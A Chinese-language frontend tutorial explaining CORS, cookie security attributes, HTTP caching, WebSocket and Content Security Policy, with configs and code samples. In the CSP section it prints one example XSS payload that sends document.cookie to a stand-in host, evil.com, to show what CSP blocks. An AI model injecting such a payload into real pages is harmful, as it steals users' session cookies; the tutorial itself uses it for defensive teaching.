为什么这5个概念对前端特别重要?

作为前端开发,你每天都在和网络打交道,但有些概念属于“会用但说不清”:

  • 跨域报错了,加个 proxy 就能解决,但为什么浏览器要限制跨域?

  • 登录后的用户信息存在 Cookie 里,但 HttpOnlySecureSameSite 是干嘛的?

  • 网站静态资源要配置缓存,但 Cache-Control 和 ETag 到底怎么选?

  • 聊天室用 WebSocket,但它和 HTTP 什么关系?为什么能“实时”?

  • 听说 CSP 能防 XSS 攻击,但配置起来麻烦吗?

这篇文章把这5个概念一次性讲清楚:是什么、为什么、怎么用


一、跨域(CORS):浏览器的“安全护栏”

1.1 跨域是什么?

跨域:当一个网页向不同域名、不同端口、不同协议的服务器发请求时,就产生了跨域。

举个例子:你在 https://a.com 的网页里,用 fetch 请求 https://b.com/api,这就是跨域。

判断两个地址是否同源,要看三个东西:

对比项 地址A 地址B 是否同源
协议+域名+端口 https://a.com:443 https://a.com:443 ✅ 是
协议不同 http://a.com https://a.com ❌ 否
域名不同 https://a.com https://b.com ❌ 否
端口不同 https://a.com:443 https://a.com:8080 ❌ 否

1.2 为什么浏览器要限制跨域?

这是浏览器的同源策略。简单说:只有“同一个源”的网页,才能互相访问数据。

为什么要这么设计?

想象一下:你打开了银行网站(bank.com),又打开了一个恶意网站(evil.com)。如果没有同源策略,evil.com 上的脚本可以直接向 bank.com 发请求,拿到你的账户信息。

同源策略就是为了防止这种攻击。它像一个“门卫”,只允许同源之间互通,外来的请求都被拦住。

注意:跨域限制是浏览器的行为,不是服务器的问题。你用 curl 或 Postman 发请求,不会有跨域问题——因为它们是工具,不是浏览器。

1.3 跨域请求的两种类型

浏览器把跨域请求分成两类,处理方式不同:

简单请求(同时满足以下条件):

  • 方法:GET、POST、HEAD

  • 请求头:只能包含 AcceptAccept-LanguageContent-LanguageContent-Type(且只能是 text/plainmultipart/form-dataapplication/x-www-form-urlencoded

非简单请求(不满足上面任何一个条件):

  • 用了 PUT、DELETE、PATCH

  • Content-Type 是 application/json

  • 带了自定义请求头(如 Authorization

非简单请求会先发一个 OPTIONS 预检请求,问服务器“允许我跨域吗?”服务器同意了,才发真正的请求。

1.4 怎么解决跨域?

方案 适用场景 简单程度
CORS(后端配置) 生产环境 ⭐⭐⭐
代理(devServer) 开发环境 ⭐⭐⭐⭐⭐
JSONP 只支持 GET 的老方案 ⭐⭐
Nginx 反向代理 运维配置 ⭐⭐⭐

方案一:CORS(最标准,生产环境用)

后端在响应头里加这些字段:

http

Access-Control-Allow-Origin: https://a.com     # 允许哪个域名(* 表示所有,但不能和 Credentials 一起用)
Access-Control-Allow-Methods: GET, POST, PUT   # 允许哪些方法
Access-Control-Allow-Headers: Content-Type     # 允许哪些请求头
Access-Control-Allow-Credentials: true         # 是否允许带 Cookie
Access-Control-Max-Age: 86400                  # 预检请求缓存多久(秒)

方案二:开发环境代理(前端最常用)

在 vite.config.js 或 webpack.config.js 里配置代理:

javascript

// vite.config.js
export default {
  server: {
    proxy: {
      '/api': {
        target: 'https://b.com',      // 目标服务器
        changeOrigin: true,            // 修改请求头中的 origin
        rewrite: (path) => path.replace(/^\/api/, '')  // 重写路径
      }
    }
  }
}

原理:本地开发服务器帮你转发请求,浏览器的请求是发给 localhost(同源),开发服务器再去请求真正的后端,绕过了浏览器的跨域限制。

1.5 跨域常见问题排查

现象 可能原因
请求发了,但响应被浏览器拦截 后端没配 CORS 头
OPTIONS 请求返回 404 后端没处理 OPTIONS 请求
带了 Cookie 但跨域失败 忘记设置 withCredentials 和后端的 Allow-Credentials
本地能访问,上线不行 生产环境没配 CORS,或者代理只配了开发环境

二、Cookie:网站的“记忆卡片”

2.1 Cookie 是什么?

Cookie 是网站存在你浏览器里的小段文本。它让网站能“记住”你:

  • 登录状态:不用每次访问都输密码

  • 偏好设置:暗色模式、语言选择

  • 购物车:没登录也能记住你加了什么

每个 Cookie 的大小限制在 4KB 左右,一个域名下最多存 20-50 个

2.2 Cookie 的三个关键安全属性

HttpOnly —— 防止被偷

设置了 HttpOnly 的 Cookie,前端 JavaScript 无法读取document.cookie 看不到)。

为什么需要它?防止 XSS 攻击:攻击者注入了一段脚本,执行 document.cookie 就把你的登录凭证偷走了。HttpOnly 就是防这个的。

最佳实践:存登录凭证的 Cookie,必须加 HttpOnly

Secure —— 只在加密通道传输

设置了 Secure 的 Cookie,只会在 HTTPS 连接中发送,HTTP 请求不会带这个 Cookie。

最佳实践:所有涉及敏感信息的 Cookie,都要加 Secure

SameSite —— 防止跨站请求伪造

SameSite 有三个值:

行为 适用场景
Strict 完全禁止跨站发送 银行、支付类(最安全)
Lax 部分跨站请求允许(如链接跳转) 普通网站(现代浏览器默认)
None 允许跨站发送,但必须配合 Secure 第三方嵌入(需要跨站带 Cookie)

Chrome 从 80 版本开始,没指定 SameSite 的 Cookie 默认变成 Lax

2.3 Cookie 的其他属性

属性 作用 示例
Domain 允许哪些子域名使用 Domain=.example.com(所有子域名)
Path 允许哪些路径使用 Path=/admin(只有 /admin 下才带)
Max-Age 过期时间(秒) Max-Age=3600(1小时后过期)
Expires 过期时间(绝对时间) Expires=Wed, 21 Oct 2025 07:28:00 GMT

2.4 Cookie 的属性配置建议

使用场景 HttpOnly Secure SameSite 过期时间
登录凭证(Session ID) ✅ 必须 ✅ 必须 Strict/Lax 会话级或短期
用户偏好设置 ❌ 不需要 推荐 Lax 长期(一年)
第三方嵌入 ✅ 必须 None 按需

2.5 Cookie 和 localStorage 的区别

对比项 Cookie localStorage
容量 4KB 5-10MB
发送方式 每次 HTTP 请求自动带 不会自动发
过期 手动设置 永久(除非手动删)
作用域 同域名 同域名
跨域携带 需配置 withCredentials 不会发送
适用场景 登录凭证、会话 用户偏好、缓存数据

三、缓存:让网站飞起来的秘密

3.1 缓存的分类

浏览器缓存分两类:

类型 别名 机制 命中后响应
强缓存 本地缓存 直接用本地,不发请求 200(from disk cache)
协商缓存 弱缓存 发请求问服务器“变了吗” 304(Not Modified)

3.2 强缓存:不发请求,直接拿本地

强缓存通过 Cache-Control 响应头控制(它取代了老式的 Expires)。

http

Cache-Control: max-age=31536000

意思是:这个资源可以缓存 31536000 秒(一年)。一年内再次请求,直接从本地拿,不访问网络。

常见配置

http

# 静态资源(图片、CSS、JS)—— 一年
Cache-Control: max-age=31536000

# HTML 页面 —— 不缓存或短缓存
Cache-Control: no-cache

# 或者
Cache-Control: max-age=3600

注意no-cache 不是“不缓存”,而是“每次用之前先问一下服务器”,实际上属于协商缓存。

3.3 协商缓存:问一下服务器变没变

强缓存过期了,或者设置了 no-cache,浏览器会发请求问服务器:“这个资源变了吗?”

服务器怎么判断资源是否变化?靠两个东西:

方式一:Last-Modified + If-Modified-Since

  • 第一次响应:Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

  • 第二次请求:If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

  • 服务器判断:没变就返回 304,变了就返回 200 + 新文件

方式二:ETag + If-None-Match(更精确)

  • 第一次响应:ETag: "abc123"

  • 第二次请求:If-None-Match: "abc123"

  • 服务器判断:ETag 没变就返回 304

ETag 比 Last-Modified 更精确(能精确到 1 秒内的变化),一般两者同时用。

3.4 强缓存 vs 协商缓存对比

对比项 强缓存 协商缓存
是否发请求
响应状态码 200 304
响应体 有(从缓存读) 无(只用缓存)
速度 最快 较快(仍需一次请求)
控制头 Cache-Control Last-Modified / ETag

3.5 缓存配置建议

资源类型 推荐策略 Cache-Control
HTML 协商缓存 no-cache
CSS/JS(带 hash) 强缓存 max-age=31536000
图片 强缓存 max-age=31536000
用户头像 短时强缓存 max-age=3600
API 数据 不缓存或协商 no-cache

技巧:给 CSS/JS 文件名加 hash(如 main.a1b2c3.js),文件变了 hash 就变了,用户就会重新下载。这样就可以放心用一年的强缓存。


四、WebSocket:服务器能主动“找”你了

4.1 为什么需要 WebSocket?

HTTP 是“一问一答”的模式:客户端发请求,服务器回响应。服务器不能主动给客户端发消息。

这在很多场景下很麻烦:

  • 聊天:别人发了消息,你得刷新才知道

  • 股票:你得一直刷新页面看最新价格

  • 游戏:其他玩家操作了,你不知道

以前的解决方案是轮询:每隔几秒就发一个请求问“有新消息吗?”

轮询的问题:

  • 大部分请求都是空响应(浪费带宽)

  • 延迟高(实时性要求高的场景不行)

WebSocket 解决了这个问题:连接建立后,双方随时可以互相发消息。

4.2 WebSocket 和 HTTP 的关系

WebSocket 和 HTTP 不是替代关系,是升级关系

建立 WebSocket 连接的第一步,是一个 HTTP 请求(称为“握手”)。握手成功后,这条 TCP 连接就“升级”成了 WebSocket,之后就不再用 HTTP 协议了。

text

客户端 → 服务器:HTTP 请求(带着 Upgrade: websocket)
服务器 → 客户端:HTTP 响应(101 Switching Protocols)
之后:这条连接变成 WebSocket,双方可以随时发消息

4.3 WebSocket 和 HTTP/2 的关系

很多人会问:HTTP/2 不是支持服务器推送吗?还需要 WebSocket 吗?

对比项 HTTP/2 Server Push WebSocket
方向 服务器 → 客户端 双向
触发条件 必须由客户端请求触发 任意时刻
适用场景 预加载资源(HTML 推 CSS) 实时通信(聊天、游戏)
持久连接 不一定

简单说:HTTP/2 推送是你进了一个房间,服务员主动给你倒了杯水;WebSocket 是你和对方一直在聊天,随时可以说话。

4.4 前端怎么用 WebSocket?

javascript

// 建立连接
const ws = new WebSocket('wss://example.com/chat');

// 连接打开
ws.onopen = () => {
  console.log('连接成功');
  ws.send('hello');  // 发送消息
};

// 收到消息
ws.onmessage = (event) => {
  console.log('收到:', event.data);
};

// 连接关闭
ws.onclose = () => {
  console.log('连接关闭');
};

// 出错
ws.onerror = (error) => {
  console.error('WebSocket 错误:', error);
};

4.5 心跳机制

WebSocket 连接可能会因为网络问题“假死”(你以为还连着,实际已经断了)。

解决办法:心跳。客户端定时发送一个 ping(或自定义心跳包),服务器回复 pong。如果一段时间没收到回复,就知道连接断了,需要重连。

javascript

// 简单的心跳实现
let heartbeatInterval;

const startHeartbeat = () => {
  heartbeatInterval = setInterval(() => {
    if (ws.readyState === WebSocket.OPEN) {
      ws.send('ping');
    }
  }, 30000);  // 每 30 秒发一次
};

const stopHeartbeat = () => {
  clearInterval(heartbeatInterval);
};

4.6 断线重连

WebSocket 连接可能因为各种原因断开(网络波动、服务器重启),需要自动重连。

javascript

const connectWebSocket = () => {
  const ws = new WebSocket('wss://example.com/chat');
  let reconnectTimer;

  ws.onclose = () => {
    console.log('连接断开,3秒后重连');
    reconnectTimer = setTimeout(() => {
      connectWebSocket();
    }, 3000);
  };

  ws.onerror = (error) => {
    console.error('连接错误', error);
    ws.close();  // 触发 onclose,进入重连
  };

  return ws;
};

五、CSP:给网页加一道“防火墙”

5.1 CSP 是什么?

CSP(内容安全策略,Content Security Policy)是一个 HTTP 响应头,告诉浏览器:“只能加载我允许的来源的资源”。

它专门用来防御 XSS 攻击

5.2 没有 CSP 时,XSS 是怎么攻击的?

假设你的网站有一个评论区,用户提交了这样的内容:

html

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

如果你的网站没有过滤,这段脚本就会在别人打开页面时执行,把用户的 Cookie 发到攻击者的服务器。

5.3 CSP 是怎么防的?

配置 CSP 后,浏览器只执行你明确允许的脚本。上面的 <script> 标签会被直接拦截。

最简单的配置

http

Content-Security-Policy: default-src 'self'

意思是:只允许加载同源(自己网站)的资源。

更完整的配置示例

http

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://images.example.com;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.example.com;
  frame-src 'self' https://www.youtube.com;
  report-uri /csp-report

逐条解释:

指令 允许来源 说明
default-src 'self' 同源 默认策略
script-src 'self' https://cdn.example.com 同源 + 指定 CDN JavaScript
style-src 'self' 'unsafe-inline' 同源 + 内联样式 CSS(一般不推荐 unsafe-inline
img-src 'self' data: https://images.example.com 同源 + data 图片 + 指定 CDN 图片
connect-src 'self' https://api.example.com 同源 + 指定 API fetch / XHR / WebSocket
font-src 'self' https://fonts.example.com 同源 + 指定 CDN 字体
frame-src 'self' https://www.youtube.com 同源 + 指定网站 iframe
report-uri /csp-report 违规上报地址 报告 CSP 违规

5.4 CSP 常见值说明

含义
'self' 同源(注意有引号)
'none' 不允许任何来源
'unsafe-inline' 允许内联脚本/样式(不安全)
'unsafe-eval' 允许 eval()(不安全)
https: 所有 HTTPS 来源
data: 允许 data: URI(如图片的 base64)
*.example.com 所有子域名
https://cdn.example.com 指定域名

5.5 CSP 配置建议

场景 推荐配置
最严格 default-src 'self'
使用 CDN default-src 'self'; script-src 'self' https://cdn.example.com
允许内联样式(较宽松) default-src 'self'; style-src 'self' 'unsafe-inline'
小项目测试 default-src https:

5.6 测试 CSP 的方法

在响应头加 Content-Security-Policy-Report-Only,它会报告违规但不拦截,方便测试:

http

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

浏览器会把违规记录发到你指定的地址,你可以慢慢调整策略,确认没问题后再改为正式的 Content-Security-Policy

5.7 CSP 能防住哪些攻击?

攻击类型 能否防御 说明
内联 <script> 注入 ✅ 能 需要配置 script-src 不允许 'unsafe-inline'
外部恶意脚本 ✅ 能 限制 script-src 的域名
内联事件(onclick=... ✅ 能 同样被 unsafe-inline 控制
eval() 注入 ✅ 能 需要配置不包含 'unsafe-eval'
数据泄露(连接外部) ✅ 能 connect-src 限制请求目标

5.8 CSP 不等于万事大吉

CSP 能防住大部分 XSS,但不能防所有:

  • 如果配置太宽松(比如用了 'unsafe-inline' 或 'unsafe-eval'),效果会打折扣

  • CSP 是“最后一道防线”,第一道防线永远是对用户输入做转义和过滤

  • CSP 对已有业务可能有影响(比如内联脚本会被拦截),需要仔细测试


总结:五个概念一图看懂

概念 一句话总结 和前端的关系
跨域(CORS) 浏览器不让网页随便访问其他域名的数据 请求第三方 API 时必遇
Cookie 网站存你电脑里的小卡片,用来记住你 登录、用户追踪必用
缓存 存一份本地副本,下次直接拿来用 网站性能优化的核心
WebSocket 服务器可以随时主动给你发消息 聊天、游戏、实时推送
CSP 告诉浏览器只加载我允许的资源 防御 XSS 攻击的防火墙

Logo

脑启社区是一个专注类脑智能领域的开发者社区。欢迎加入社区,共建类脑智能生态。社区为开发者提供了丰富的开源类脑工具软件、类脑算法模型及数据集、类脑知识库、类脑技术培训课程以及类脑应用案例等资源。

更多推荐